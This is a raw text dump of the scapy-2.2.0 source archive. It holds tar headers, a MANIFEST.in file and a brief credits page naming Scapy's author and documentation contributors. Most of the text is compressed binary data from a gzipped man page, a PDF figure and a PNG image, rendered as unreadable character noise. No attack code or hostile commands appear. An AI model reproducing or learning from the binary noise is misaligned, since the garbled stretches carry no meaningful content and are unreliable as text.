UNKNOWN Platform: UNKNOWN scapy-2.2.0/MANIFEST.in0000644000175000017500000000015711356737123012511 0ustar pbipbiinclude MANIFEST.in include run_scapy recursive-include bin * recursive-include doc * recursive-include test * scapy-2.2.0/doc/0000755000175000017500000000000011532602317011505 5ustar pbipbiscapy-2.2.0/doc/scapy.1.gz0000644000175000017500000000431011154735574013337 0ustar pbipbi‹³ìžHscapy.1Xoã6ý_Ÿ‚0¨ 8râÝÞõ‚º¨7›v}—ÄBìZ\-Q/²¨Š”÷Óß›¡d+Ù·@œ(9¿çÍ££Õg±¼šÅ¿‹ 1¸•q1‰ÉùùûA-?‹»Ùíu`YÄÙ˜—NÕ2qz§D%“'åÄV–ºj é´)…3¦àcËßïñr¾ ¢‚OÑý\ü[˜ŠöYñÞõézyu?WóÅ]°Êµ%a, z£Dj’f«JgźÖ*+Âåê$TEAÇÁCö‘—²X@†•Ù«:k ¡¿ÁÜ‘ÚWUb·3õH”ÊíMýDªJ,žRm³SõaÔ ´¥Î2l ”K"1wGDfj²Vl y jU2Q"¯t¹¡“5¼2™(·² YW¶2&ã§3û4 ð—7º¤J›-¶8›Ëú 'ϱ+оö»±Ê²ÆêàrxÆžWµÂo!)&‰ÙÂõT¬¬ÓH¬r‰X(YÒ)<Ó°å'k•8¼VÈrÓPJBi­Þ”b'k-×…²#Þ_Sá1HU¦K%²¦L8Ë#A1Šy&Hü†Ò E¦ E6! rËîsUòŽº)Eß­­Ö¾YJWØÓÛS_e™Ð""3{]b­„•;•Šà(¼PXàƒC©¦ ÔÊâ»ém©žpz«ü) EyߨHpôW$(U’JÎêmU(ŠªA8ž4D"»T]e,P:ŒŒZq gÊmùXx¥w´ŒŒ x­ÏÐw±Avú™N"1d[o ™Ž¶…L!q¬‡Kb;jÅã\+}„6pIŽ…ZýÑÀyèÑ.ï^w6¹¦.©v mY~[ñ‰ià­a{xÔžr,OÛƒ¦ôjÒÎYò áÊ¥¯Õµ†¿éN"(.j«6f…~RÜ}p×ø2Ez]õÒPg¥MB‰3"4•*ÇI¤cr¬ÒáH¬G»Ò¸ÏMÑAA›ÇÁ@Åù"Û¨P<ëF)Ú·FÓêMŽâÙ©¢_tÔáêYRÞ…A¶“ã9ª6〧mÝS QgMؔ̄u@±ZÝxõÒ†”ÏñÔ?€cw;¼û‘X”ʇ¤âº’­kNbé.%[™ …€£=Il<¡'Ð)áH§dPW7r¥~#(Ã{ÄŽ|Áؽ -¬STü°µº ¢£ÔÃYþÝÀNÀàtŸÞ¥ôN—I­$cÉF ÖÆjwˆÄ•OP&%è>pcÚètÚâ´øe~sÑÕõþ¸02=bÇN Õì7AÈI|Eâãûëåjv¿zdñ¬èå’.­S’›þÝçÅíõ8â r)’®E$þѧŒrPik’û\'y›Òã ö&]ÂÕ2 ^K‰jµÅdkô/¦ƒËï7É ØŸ†ƒRíý6E™¾ŠÙ© þ2d2#>â#Ö VËêz®wiRL ÎþàZår§Mmû.¡r7Q•f@¹TÕÓÁ3žÊC»Ö‰ð˧xôénÙZNy¿þmvSêƒ[JŸÇEÕÍË=vL”.È«.Çãý~Y•¤j™z3†nÊ«³}ãr·-‚6Ö7zŸ`p³Ô¾82SfOã÷Øàhí ÃÆÞ€ÑÜ¢WµYC.¦ ·›<‘i‡¹ë‰†.ÇúÈ .9N¶çq˜Z7\ü}]ü-ºˆ.h­¼˜âNÒ^¦ƒŠÃ»‡çóÉ;¼Å?ðÓ÷Ãñüê6‡]ü`RÜ£èž\¥Ô“ whèIXW„ D„)¢²8c‚9^5nèM”S–úÝÓ:ÏKqqqŽ’ë^Wu)¦(óí:•âùR¼Ììê_ÿß(ï¼w †]œO>ÀÕ¬Tílð²2‘ÐÂÅRPeR+¡£NVwe4Å—¾~ÝÌü}ö“Äš3ä÷dØûI‡†Çø$ਣ­)Ë“V.S´è¢©õÜœ¹SèmLwvànÁ‘ªn”ë;xÏ<ñ(ÚÓÆGæ–°ídÛÑ$zÿòÂÉ9×Î ø–××bv³\xýTë6QÙöwµ_>t‚?~ùu|"¢K‡™9C8¾ë‘m"+-ƒgjL,‹/£k<  T" ïK¨ÇŽ·¹¦ºƒðÈݧö,[ NJDcEo5qœõAÄþ†-׃àà‡jË~ÑÎb°‘o"–î`©£YŽÖ_3º¯/øó;ÞGíØ©Ñ¦±Å!ð·&ò*kЍ™’dJ‚ï+"ã_ZT$fCÅaml‹3gÎ*z8†"ÂQž}Y}^Üq¯0™ÅG™jñc……ŸOÉù©½H¿úâgfµ¯µs YѬX«ùÕ”ÊBý)æ¥&â#~”ý3>‘´?ñ}畾(øU¯¨Üscapy-2.2.0/doc/scapy/0000755000175000017500000000000011532602317012624 5ustar pbipbiscapy-2.2.0/doc/scapy/backmatter.rst0000644000175000017500000000077211171415661015504 0ustar pbipbi ********* Credits ********* - Philippe Biondi is Scapy's author. He has also written most of the documentation. - Fred Raynal wrote the chapter on building and dissecting packets. - Sebastien Martini added some details in "Handling default values: automatic computation". - Peter Kacherginsky contributed several tutorial sections, one-liners and recipes. - Dirk Loss integrated and restructured the existing docs to make this book. He has also written the installation instructions for Windows. scapy-2.2.0/doc/scapy/graphics/0000755000175000017500000000000011532602317014424 5ustar pbipbiscapy-2.2.0/doc/scapy/graphics/default-values-ip.pdf0000644000175000017500000004220411170743163020453 0ustar pbipbi%PDF-1.3 %Äåòåë§ó ÐÄÆ 4 0 obj << /Length 5 0 R /Filter /FlateDecode >> stream x+TT(TÐH-JN-()MÌQ(Ê ˜šèYY˜)¡±‰±ž¥©9˜œ« ï™k¨à’ÔÏ endstream endobj 5 0 obj 63 endobj 2 0 obj << /Type /Page /Parent 3 0 R /Resources 6 0 R /Contents 4 0 R /MediaBox [0 0 570.9286 343.957] >> endobj 6 0 obj << /ProcSet [ /PDF /ImageB /ImageC /ImageI ] /XObject << /Im1 7 0 R >> >> endobj 7 0 obj << /Length 8 0 R /Type /XObject /Subtype /Image /Width 571 /Height 344 /ColorSpace 9 0 R /BitsPerComponent 8 /Filter /FlateDecode >> stream xí]y`Eºï „ aÂMH@`4Ü ‚èr k”p ˆ ƒ FÑ(, ATÂ!„ÓŒ²B#W"7IÄ(rŒ N B’Lí[ßÛÝ÷öëûªªÏ™Îdf23™£êîꪯ«¾úú7ÕÕ=¿ïëßg‰Y€Y€Y€Y€Y€Y€YÀ÷-ðÛŸo²Ä,`Í?ßùÍò‡ð× –˜ê·Àù3Oõ‰úObÌ`U ìüÆÃ`a«N(nZ…¶žÆä˜ —dÓÎ?˜=˜ì°ÀÿJØ©N[ýŸ„Ûö[’rë\™éåGÌÅŽ¥<÷¹y!Ï]oV¸2iŸPòò!§"'UÉsÓŸ'?–òÙIkဨ—²ÎB=IŽådøÇÿ‰Ø¹-Õõíß/ ’P`Û~žîh=‚ãu“ôúQ¡mþ¤”Ë53öce9 7+\¦{‰/Ù¬“AÇBÎì4z˜Þ.nú Õçºç ‚ªÖÈ¥z-ð—jô÷Qôü*Õ²öìmþEçÏi5EÑîÊ6‡ÇâÄaq¢1Žuy€¯œØ=_3ؾ Òf9:X½COµûÔ¬šªYàÖÏ%¡w-wAÇ`HÑ)îD‰=Õ4ƒ2‰”®²Úº÷ÉÑ¡‰²R› “ÛúMÙ)ʬ:†£&+kÙ‘ª®\¸r£ÔDæ÷A'·—â^o;t2uÈ0µÚ%ŽMÐ9¢³:†~ËÚfÙº,Ÿ_pñFù¿ã[– tOÁSøgã·¾x¦OhÌÜÊ襛& œºÿËчÇç¼8|È#7¬¼Ä¨ÏHËå7ÆãS„4^‡›ƒ4K·Û`D'Du?þˆáíGïïñ ¾sMM…Í[ø—È?°Ýøñ à€¦‡Û“›[ôƒL% uãá.{düjþph§®âœV=©<~©Á°3¶GŸxPcÕpû“…õ’bÖÉi÷ =…m­Z`ÿÞÃ_×àiGÉSqZk856ßp0òI¸ÇŒ|gãã­?¶B Y0­ÕȘ—^íÞþ€Á°@×sڜ޺EÖ­Ã%ÏÞƒòB “²xñ;ŸÊÝ„z¶W±@Ú–¬£g®WàÅŽì†%AÇð*5¶a÷ÂI£:aÔ„â©'¾5l>à O u« t¢ï†^ú¨$:“[2H¢:yf=ÑOaŠ–ù¬cøD7ݰ× SI±á]uº¡ârš@g)=ó5Ý:ÙmI€Ìy,Ùj´-_`èüG]ÐÉê:. V4†ùÆýim_¼‰Çk˜L :iº 'ÆXëX€NVÛ§ I”@gÏ ^³—½Z?t ÃsÇ Å½ÈTR@Gj8ëK¡£…tÖãªÁ0£]þYoÓZÁJvì—oùâØÙë«:£ –k8Ôîh4Z:xÉ0ªÃ…öàÎë˜óyèÖ ~Þ’(Îì°ÃÃZ<­=Ñ6ä¡;©ädiî6oÁ±\%h3/“¥†AêåN©::àÆö³%ƒŽ`ÇöË·ìÊ=wÃ: —.]ºdñâ=yÇå÷‰3ä‡ ÿâhjˆ*tFïÙ÷ŒîEú„•׿FnæDüDRêD!‡÷ãuYûö}¼ ¢ûf8D tæµZqtç#:1ƒò.k#Bç-ÝêMóe­jß=Öí •:ëà–¹c4†ŽÐpúÓësv=#œJ c˜ß*i÷§£Úf2èvqxÐÉ;ÿ“9tt4­›v?þ`gç )­tí&ôW…΋]t!ñ0Ï÷:þغU둟 úLÔ 9¼›mO×Ý¢(NöºVQÏ`èÌ×uî°Œ<œó g<ÜZ§‹ÿT Ð1¤†étý?Ák46ëÈ­j~Å–ÝùÌ £ÚJÎV™©e°LÎß÷1ن盒B4ÿSáayO&,MÄ :áÒè¤=ë\Kßþ½Ÿ¤ÿ†Ý’¯h}v²ˆˆˆº¥æu ¨ˆ÷gzÂÁ•7©w{a®Oø‡4:©|UNµKÍ;¼¤Ù Üìõ~<õ•Ò˹¡Sòòòsò:RƒÒ;£`Ô |¹çìÆ>ÏëòÚ¸þ„ç þ! €Žó¯L—mÐæ³ G¯¢‡±)°7Åü@Ì·NkèT„Vt2ÀÃ~\‰rš3 ûÊ\¼…òn:2žº» ãôv€zn@gm†ÎÂQ–ÁБ¹ ä”÷F…Ž¿ÑÚ:‡ÆtŽ7…¯Ê™Ì“AGæB€¼„ò®±.ñÔËÆ™Fê@„0ÎIþFk/»ÿkdêÖÎǺX’ E¨Ü\l*›¬kÁ…Lë%”wèŒuOý!B3×X j7žüÖÞƒÓœC«ƒÁDZ,¾…fÈyp÷€ï!|Þ‘Ã<|Á…À{(ï*б.>Á QÝ[iíà.dþ½0"u!ðÊ»@ÇÅÈtOóJZ»µ>½†òΠcí2²:+`бbVeÍ :Ö¬Ãê¬X€AÇŠqX•5 0èX³«³b+ÆaUÖ,À cÍ:ΫSÒÚ½†ºnÍ :Ö¬ã´:‘ÖŽ£I!ä5Ôukð$è$FôÌÙÕ3b.úfù“•×È0¤¬žX*""ÏBºëL©ÞòµYíKK»Ì*B%óÂóò>4N!f®Téî pŸF¤Ì#Ç+xøÆm ‰©PÂÁ>Zû–vûÏ?‡Ûð꺵ñªÎ:BÀYk'º¢®D›±·þú‡½`ó wCÞ‰…RßrxZÚüš\H–—ŒVUÖ¤£Y>Z{UçÝHO ;‘oFk—EHG<û™2&Gz~ƒ£¦«ã< Z;ZÚuÐëX˜@çK‰œ¨×ŸÄ‘ãÏIaÛÅ í:X\äá‹uPÈC§zeìs™î›u¬EkÏ Å+„Xe/¡®UëØ¨Ì:R„t}–…mسI;½Ž6-¶ µ£òÁ¿àÖ>ìúÝ·Ÿ>°¡OúN*"‘ã%¥Ä í:éÉX\äá‹uPH¡SóІYAµhíïŒÆÊ®ÃÁa½…ºNT­c£1BºÄ¾~æe8=mum8ZlAkGhtoòò¡¦C‡àñåÐðV0÷—ã„–¤ý[.(H3žvÎâë ”B'­°Þtt¨:f[>Z{ÒT\¾=ŒÔzuÝl ŠCkБØ×§ºv™°äʼn.9(¸¯ãVÜ0¾aÕft)¿¶? ™kp™1Hû·Ü¥¢WžÆU¢ ‡XE:#ðØy÷AÇZ´ö7‡cU× Ä[_ÖÎ_%‰}]cº°ijH ³+7ã’Öwïd­ƒø²/§V·ù ÷)@G ÒŽoXB¨U~Öë@žB§ÿ›=í>èX‹Ö¾­=Ê;Co¡®UëØ¨Î:|„t‰}=i.œ~#Ð2ìm­ÚXlNk?ÙôZU8¬p(tj»n†ìùð=’æ„°íbvi™,Î:bœA¡ÿd—º:DUó ­½T·¸¥Ú=¸ÚK¨ëæ#‘«B‡.²¯Ñè Ì²«©­+åg6Èç»ÑÚÅoÀðìë*“©„ÿ…»ÝúÛG ]â7€$Y²Ù…ø8(%”Áb»Ñ“­ý.ù€òêº5éÎ:ÖNpoÝÝRôG¼âñú¤¤µ{ uÝšÝ=:Ó[w¿“WXÖ¬Áêì°€‡CgoÛþì u£<:ˆ<ޏѬ+›-àéбy LÐÝ`Ðq·Å}¦?Ÿ¹”»-î3ý1è¸çR*="¬õé5ÞøkÙ'Ÿ©Dk ¡u^ã-¡lp5ÀÔ.÷§#š¶Jx<½1¶þνÏ#Â÷ý—çç%®ÿÒ9_â|ó%WNã6¢¢•-­´~~"©ô>¿ô¿¢Q “úÀ„1p#±.ôdki åëx‘Gòý@ÿ ÐáƒÏËãÑ×uA(7÷ˆØÚý´’ò†ŽÿžwÊX ŸZp1yô"t@?¬©^¯ÿ!‰êå%È÷ý‹Ð‚ÏËâÑ;€:O1÷ˆ(àÁôoÈ*9GŒ/8ed¥‡IZTz1=!(==€bèx•GÄMöý@ÿtÖ‘‚Ï‹ñèë„#•‹{qíÒ¡)±?É)Ek€j†€³µ°äu~èŸBG >/Æ£§Í…[ãšàM!þ½ä”¢ÇóÝfkiÆë<"ü"Ð?…Ž|^ŒGÏ_=×ìïÂí®|Œ_&ãø÷’SŠÆ¾ 8ekñ–Þ°¼Ê#Â/ýSèHÁç]3ˆ$⪇ý”Äþ$§ Ñ™å´2<JËd/ñˆÀÐñí@ÿ¦bãâF#ó„àó²xôô¹GD7ïWÓÁn+åñï…øÆ~©Æ;¤ß+Üá²'!ïóˆðý@ÿ;HXÿ)@OíÈiçTÊãÑ;4´sˆ¹£jtM_­‘÷'„ÄÆ:SÊú².AŸEÞçágþiðyg¦î¶Ê+Ñí‹LdµøBR£ží!ê©6*è_4ËHPzDHå–9¯ñ–PùûÓr4¬„YÀÒ :–6a%6Y€AÇ&31!K 0èXÚ„•Ød›ÌÄ„,-À ciVb“tl2Sƒ…”´v¯¡®[·‡AÇOhí^C]·:RÜ|·É÷qZ;\‡Â®µøjTMìãÎ×ôÖàxú¬#ÅÍwg|_§µñz0G#\ùl 9Ý$ßçií«‚FòÐñÍ@ÿ²¸ù.’ïw´ö’›t|3п7ßÕAòýŽÖ_¡3‡|¢@>¿{[^}­C#X»:H¾ßÑÚåÐñÑ@ÿˆBÇÝAòñÏΧiírè$Ïñ¶YÆ\_k³Ž»ƒäû<­]‡½>0«5è¸ÀÝ(!¿oú—âæ»8H¾¿ÑÚч˜›¯9 Øñá@ÿÂ’È­Aòý‡ÖÎý cûz- ¤µ{ uÝÚ¸Ô—ÉÖÎ`uÌÄ : Z€AÇAñÓt´ƒŽƒ†c§1è0 8h gçiŒÖn§Á˜8o1Z;‰²‰|˜Ö~òÙ1¿"w‡mARÔ 46""²¾¯ïy_´v„6÷h5““}—Ö^¡[tèáÈÝaÛÏ ’——w˜+@òòšCdd«Éû¢µ£-íöŸ,Êgií_qBì#TÐê%tbel 4fŠù7\tøX‚^­½ªón„îh xxÍ®á7'•eò‡úœ^ÿ3†Ÿû.©\úøì­c†}~H9pVliCÆnNkG±)RsJk·€úöõa=_Gè+Íu„"qðë[ IüØÉtžØ„¢«…IJÂZ§bóÄþíaé%u|ªk— K¾!¯‹Öþæp<4’ÒÚ- “~ßìèT‡?~t^|ÛÕ”æÌz‰˜ÁY›Ø„h|[a™lŒì÷î‘Ï:²ŽM6M IrÛ«¢µokÑÐ =lòQZ»tÚl…ÁŽèÔ´ zζÄ+Ÿ„W`ãx2£µ«,“Ó{Áèk€ŽØ1š4:¼ø+ÿ„E{çoX£ã…è6Ù ËåÔ|[FŸÙŽhTªÛ‹P™v>Å7iíUÆ=Æb¸dRØö¾±ßWímoDµoá¡çÆVäöLÃyG“9­½|Lÿ¡Ühl‘i,Aè‹&Y•EÓ¸ •bÇhtPfÙÕÔÖ•Þ­- ½t'.£ù&­}&_s°ÞöŸ ˆœÛ1ðܵ° ¦yL:6AõJÆr8™ÓÚ#8.ˆ>í?DTÐ\@hIË€æÏŒi¦;Fqù&ýr½0Z;Bóš '¿óù•GD4}¦D*äú:yCÖ:™ÝH«ÐI‘¼%höÑxH „«H¡³;ÓÇÇ7&tv§”FÈ‚yf'œ_yDw KÁ* Ú›{DèlîJÌ.@'f9BÓa6ŠM‘º¢ur÷ >cmcBGRR–ó?ˆ c¿T#ñï´ôˆÆá¬¹GDiç÷ŒEk»À"§Æhúº‘Pܧ);¦Ù‡$o ±îL³™'K絸)óܘy¦$›NtvX-çŸX O©üÇ#"û%cŸ:KbŠnÌ<"î…àþ:Í—á×Ú/ì`’¼%¤ºSÃ5Qà&ynT&77 Á®rž”N´Ê$ê0ìá¾$øƒªôhéþPcEZ¥wÔn!]1÷{D¸ë»ªæÁ\…-ïk×N¾sLð¾Kì*턨Á\u-¼¬]û¡ãedêºÊ :®²¬Ï·Ë ãó—ØUdÐq•e•í*iíbÝ­«bÖë2 :n¹d"­‘/Ðç=òîò+í·ôïŠNlƒŽ-÷¬‚Ö^gkòøþæüvÅ<‰ß.ÐÚoÍ mòù‡ínÏ ËxŒGt›ëª‡W¨B‡§’#$dl ¼ßðÊiíbk‚ B<¾¿9¿]ùâ·ó´ökáã¿ù)x-ÊkãúC†´¿(Z ×ìU¡#p-DŠ ‡cìÒÒE´v±c¸ÜR^ ”™žÃoçiíè©8ÐuÅw°ù¶Us¿r4ž|d ‘J.fˆþ²Kâ¬ñÔIk?¨×¿†²ôú¥r²§<ò’º¦ÐŒÄoGB”òz6¿Ý­ý,÷#¢°šk/BeO7·c ‰J.qÊ¥KâLõꤵÎÞN¾WÒB¶¿ðÑã¡ð=†‰ï/òÛ¥:QÏFã·[£µÒ=5,0&”\]+B§„sKLFg^8Ú– t$*¹‹oXVhíǼ«Èß< ›~ÿD½…¡#Å÷§tA©äɬãaüvžÖ¾€¼ãò›ß¡«:øš0똾Æãô¾Ô˜Ð±°–Dk_ŠÚÂ÷Z‡=mp†Î¥¢W¨c¢Ð‘ê EÆã·[£µ/o‚ª†êјÙF£ñ¡%Ä¿rtO¼iãqÐA„Ön )_A¹à…ߺ@3¿tâÌvß%'Çhí9mÚ4] æp»µr1íßxnsGî5ù…t$î{.…Ž<¸;…NZ· „Þt.tTá?ÑÚcà7² ö¬­½ÀyWs¶üZ'ãl¤×'à­Ó’M´v|ÃJÆ_ÈiÏFÄMO„N`% þõºБ¸ï®ÈÒmAR´öëÊŽ…’ãÍ|ì ‹%É! z'â­=3œ˜Œµ­Ü\l*›÷ոɕ—Çqjnj+«[×ôøVâ¾£;Æ]c1,çÅàî"÷½°ÙòÒ£íà<ÅuvÁ@k÷ùhí(fR.bwHÑÚÑþ^m–’?^šyY| Íó ²³C´ö¨×gÇ|ޑá٠úiš>Ä­êÀ Hâ:½Å5ÿ„æݪ´D>„àîG?/2 ãŠ–Ü» …-'ûM´vXuZ~e߬hhæ5ð|âºd­½?üÕ›,ƒ»K£ª÷ä ´v_ÖŽX7ù:­=ëVãÚ×)½[þ‡eºÚg^ƒ–0 ׋ÑÚnC×·` ÂÖZí×wl­Fk·fO©³„ŽGh¯³Yòp x(t<ÜjL=°ƒƒƒ`ÐqÐpì4†-À ã áìô˜%zDX ­óo +йü@¯}t4ë"ÆÖ?ä†K$FôÌÙÕ3b.BåÉm5}Ò¢¤‚µÖG‰ˆ¨ dû?(^Nn´ØÿÔ#bxÄ Œè}AÐGuï5ÞV Ss<’ÿG¢øÐ«\Ÿ®Íj_ZÚe¾¶ÿ¾¢ ¤‚ZïçyW‡sC§€Äa®„Ìcÿ—çç%On¬ØÿÔ#â\íet.|{=ÿ·Õ-*ìÉ+СÄM¢|¹[ ƒJ´{[ݼÙ1èöå°±öZ¶pŠM)æت¤t(©PEƵEB ÿˆxà­ôºX_gÍ€ åùI:EõÈL˜þc–®zjñ0€ß×Wð‡ä‘gÅ–ªy!Ø=X ´´ë ×q3=°«Ì©9°U@¼Æ7Sô j7N|êÔý°¦ Ó— ›œ¤Øÿ2÷:n‰ýoÍ#Eîn¢Ðá#zu€î²ôý€ŒÆÃ7jÐ)h;)#+x\·¦ƒÖŒÀw€Ná¸àw¾C¥ígìÈŠã~PóB°{¤¨¼Cð/¸™÷›¿Àÿ¹,ª x`ÜHOh>rÀòþó.¦'¥§§ãßpl ªí†?ð"Æþ—»?ðÐqOìk(¢pÔ1a0¢WÄ¥>dØ“ OjЉIµÏ•%f` 2y ³½¸@ ïƒàOõ’!@ç©ä¢‚Ýcµðˆ@htoúXõõ˜–šQßC‹‚ 2Œlnl5ª¹l-ße¬&(ˆ;Mh(e¹û…NcÆþç=":ŸÄcèHƒ½:+Xì–§ÞxïT ó3w…o.nÍÄ;²¼åûš¤ðÅC?Æ):¢RCv÷uÜÊŸ_“;¦k%të óÀÈP’­åecŠ®Ò ¹û…Ž›bÿ[óˆèT„Vt¤Áˆ^Š$ã[µÇ'è\á~æÕàʺ-éMu5¥9ó‡^’AG¤’;a¬ã’Öw«†Ïˆ¼ ˆÕ­JÝÈ<0²›ñ!F²µ|—±)R¸^ ¹û…Ž›bÿ[óˆè ç¶t¤Áˆ^Š< ì^ÏO*Ð1µÝz_…8ûtšý„âõPz¶%†UÂ+P·ÂÜ *ìLæ'›^« _‡Ð/Ü~h©ºý^I…ã’F¶*qÊikéÁ‰M Ÿ(täî:ûŸ÷ˆÀÐ94 # F„Žüc×èÇ#„yê^:hKË-¥'û?n H­¨ù <î] .®­èýn:Î+¬È홦â…`ÿÍ="ÊÆLFhm‡Ÿ:÷ç#ã«J%àaúe[K£‘¼¹Â.{r¬ÄÆ$ñ!GÄØÿ¢ûƒ©Ø¸x€Ñ·¾FŒýÏ{D”Ýÿ52uk {a02¯ñc=9Ó~[6ÂjÐAÛº´xæÎ% Çõ]«–ÂæÃ Žë†N‡MÐp­’aålá…@îgvÀÌ#…sš«(’Óœ»˜¬mÚ»I* ÁcovqXB:ZÖ%èñ³Ep\¸Ô@’bÿ î;‰87¼œƒ›Ž›Ž(ÜŸ¨GDZ Â`d^âÇ Ð¢öðjË ’*t ”}б@%ª>g›‚e6”ü‚j®^7—SóÀ€Ù¤®déþЈ±ÿQYµÁЩsn¬$½!ÕoPÝ«t¬#пʼÆ[‚AGåê±"[,À c‹•˜ŒŠtTŒÂŠl±ƒŽ-Vb2*`ÐQ1 +²Å :¶X‰É¨X€AGÅ(.(b´vÕ/šô3Z»Û¯éPJO¢ò&Û6~»Û5¶µC£µÛj§É‰LzúüCfž¬óÛÍ¥=îØÿhíä~ˆV™u(ûÂÝú8«?ÿ¡µóÔuy ôés1c­–Á~;[ÐÚ1t Þ•°_ú而ßnGn<ÿiíu]èÍè¼tϳÁ<;ÏYW‚Ö“r>«´.ì—>: QìÕ»kÚñoZ»D]ýç´§ò3N¶¶­=¦E-Hû‘øÑßîdÜÒœßÐÚ‘H]ý'Ls‹‰á†u¥?†ŽD•?: ðÛÝ¢ˆãø7­‰Ôu1Ðÿ´ÇiÇ™d™ òRÔu$~t×¹ãÛUv¨«&êß´v‰º.ú_‹ýZÐgåjÆj@™9­Bgäv9tFBûø£^Ukø ­]¤®Kþ+{¹xk¥³]¡-híRq ÿÈubÀ~@ ÿÑ‘b¯zm<¼Ðohí"u]èß898 Ç'_!sZ{&¬sœf‡°¿Løè€Œßîd%ÜÒœßÐÚeÔuɰµö{UuÞЭA8†}EX·tøÆ¡ô‰Y2WeÕ S½2ö¹L<ëüvY`tgêáw´vˆ³~[°äfuž;ŽÛdá-z«Ü*¦>ïCöçÙ’ŠW: 3DÈV Ã7…_„ÊE\”WNUÌCftD~»,0º3Õð;Z;*2Ž7 rt2~¦0´T°ZLÍ ¬Ú¬Ñ³Þ÷ë "„èH£NˆÚGOtÉV:iüotdüöl­ z÷;Z;ºžŠÙ–8É SùØR´²›âéé®÷–-y“¦â’íax+%:RãÈðµT煮 tF¤Bgçñ Kâ·gk]¥€¼]Xëø4­]6V :•cûQânïwdõ°ò ÌÅÇ­ x´ÞŽsk Çt/@GVú+W";rQV:ýñJî4†ŽÄoÏÖº¨E³9GÎM~$®r7½…›l•Ö.¬Ÿ£¥—ÙÈ™9+õZ òEœ,žé¶öø%Ð ½¬Ȫ@g¿ÙĤ<ÁIG*ЉÚ^ БñÛÅÀèNê–6ão´v™ñè|6ƒOóEÀ]¾¾Š~h!Ï.KBZTªƒ)¨LK—D¢ñT cŽ.YÇÎ˪@§°ÙòÒ£í H»ÈoGHŒî¼Ž¡%£µKÆ«->ÀÝÀ“Í®–¯‘?/…×wê7ýgoµ_Puà>z¿â‹–†^ºC–D‚ñÊŒ#“q0zy*hqY~è¢<Óï¿ÿþ¡‹¼È€Ž+ZrïŠüv¨à£ "NÙû­]2Ú‡„¾Õ¶£D~<¬#Ô?ß‹>]ìÔŠ¾ADBѼæAÃéûhÁxÄ@xn£-v["4åÊ=@'ÿÜõò»rèÀ¤H»TðÛÍíJ¥dmÃòÇ'ií²!òÙZþ/ yMýƒKVt—ÞÌd%ÙÂv¯Y”¹¢`Ó–]¹g,¯TBÇ=9Ö¦°rvìlÏ9ËvZ{ƒu¾v¨ÁMØÔÀF óLè0Z»M±q„tnTüÍ3¡Ãhíƒ ›zèä]øÉS¡cÓ˜PãX`ã–ÝƱ½—÷Ê ãå°ñÔWy%Øxʰž½É :î¹ZuÐÚÝEAwÅ t\aU‹6뢵»‹‚n¡ ì‡NÚ³NèVµ‰{0µ»×1´½'ì£Sè§`UEiáÍ!ùVjIÕˆºGæâÙÐÍËBQ˜ìéšD£µCÛó\̸‰‚îŠatr_üõh=ïud´öÔ‰®Ðƒ´y*/12/ÿ.º³ê¾¼ÜOúöåÿS6ëOÒåz?3‡3I8<7t ðÅs7/ÏÏK,žR0ê1ïì Ö­ŠÌs1ã º³„ÛèË=wçZ=ÐÉÖba×'ú9{D¾³évÕ³µªÅuƦ@…)æõj¾?R9ÕeТµC7”Ö.ϸ…‚®>ú†•Rè”+ß&gMñN5’B¥Ëhí)zý«´G*„Öé|•8™ð²¼­YÐÚ’Cõy Zª[—zýCº˜2&Gz~ÔÆ¦P$‰ßžÿXJ: cWLpt¬Fkií²Œ{(è¼ œºSƒÎÛmÖlZ#…J—ÑÚw¤'kˆ¼:2[Ó*ñçàÛèígìÈŠãêø}«hmAkWBç ÷%BVt)JO ìK]–…mسI;:MAµÝ°W(n ´é¶+‰Búè½+×gdî;vêJqõ‹ÀÌ¿jŠ/ÈÉÌØúçO·e~¶c'KÌr üyëG[3wíÏ;uùç»ÿ!GÎï¿ÿõöµÓ¹9»÷íËÎÉùòKÌ ìÛ·kOöÁc'Ï|o¬øëÍoá€pBúïªâ+§OäÇéKÌJ ?ž›¢àtaQIåo«¾sã7xÿ·Šâ.]¸Ä³€ªÎ_¸tõÇâÒ{—ƒ†Ï˜Š†Èš,1 ¨Xà¦ñ—Ûå÷~û_-ÿ"á endstream endobj 8 0 obj 15405 endobj 10 0 obj << /Length 11 0 R /N 1 /Alternate /DeviceGray /Filter /FlateDecode >> stream x…ROHQþÍ6„ˆA…xˆw •)¬¬ ÚvuY•m[•Ò¢gߺ£³3Ó›Ù5Å“]¢É`¨‰µé²™…}v*Ëìðèñ²bç{aÿ[QÓÀ'a?d‡yÖ­ö®Sà{„=5àήÅñÚŠ^-C÷T#hŒsMÄÓ×9s¤ˆï1Ô˜÷F9¦ 1w–ª7€;aYªf ±]û®ê%î{wÓã;Ñ›9 \ Ir±ÙÐ< X}‹°I<>ÎUàw¨˜À¹‰ÜÍ(÷Õg£RVzWÆOã¹ñÅøelÏ€~¬v×{|ÿéãu×¶><ùzÜ9®½UaVqe ÝÿÇ2„Ù'9¦ÁÓ¡YXkØväšÌL° (Ä>—ú’UÜÕîí¸EÌP>,l%ºKTn)Ôê=ƒJ¬+Øvp’Ä,Z¸Skº9xwØ"zmùMW²ë†þúözûÚòmʨ)(ͳDf”±[£äÝxÛýf‘Ÿ8:¾ç½ŠZÉþIE?…9Z*òUôVPÖÄog~¶~\?¥çõAý< =­ŸÑ¯è£¾ tIÏÂsQ£Ið°i!â Šƒ3ÔNTcâ)ñò´[d‘ý@ýf endstream endobj 11 0 obj 704 endobj 9 0 obj [ /ICCBased 10 0 R ] endobj 3 0 obj << /Type /Pages /MediaBox [-1.995107 0 -1.995107 0] /Count 1 /Kids [ 2 0 R ] >> endobj 12 0 obj << /Type /Catalog /Pages 3 0 R >> endobj 1 0 obj << /Producer (Mac OS X 10.5.5 Quartz PDFContext) /CreationDate (D:20080928143549Z00'00') /ModDate (D:20080928143549Z00'00') >> endobj xref 0 13 0000000000 65535 f 0000016980 00000 n 0000000177 00000 n 0000016835 00000 n 0000000022 00000 n 0000000159 00000 n 0000000290 00000 n 0000000379 00000 n 0000015950 00000 n 0000016799 00000 n 0000015971 00000 n 0000016779 00000 n 0000016930 00000 n trailer << /Size 13 /Root 12 0 R /Info 1 0 R /ID [ ] >> startxref 17122 %%EOF scapy-2.2.0/doc/scapy/graphics/ATMT_TFTP_read.png0000644000175000017500000007621711172130104017532 0ustar pbipbi‰PNG  IHDR\.’lv¥bKGDÿÿÿÿÿÿ X÷Ü pHYsHHFÉk>{9IDATxÚíÝuXéð/]‚ "‚¨(&"â*¶Ø­¨`çZ`wbw®µ&ÆÚÝÝ¢„ˆÒ-!HÃûûcx£¸¬ 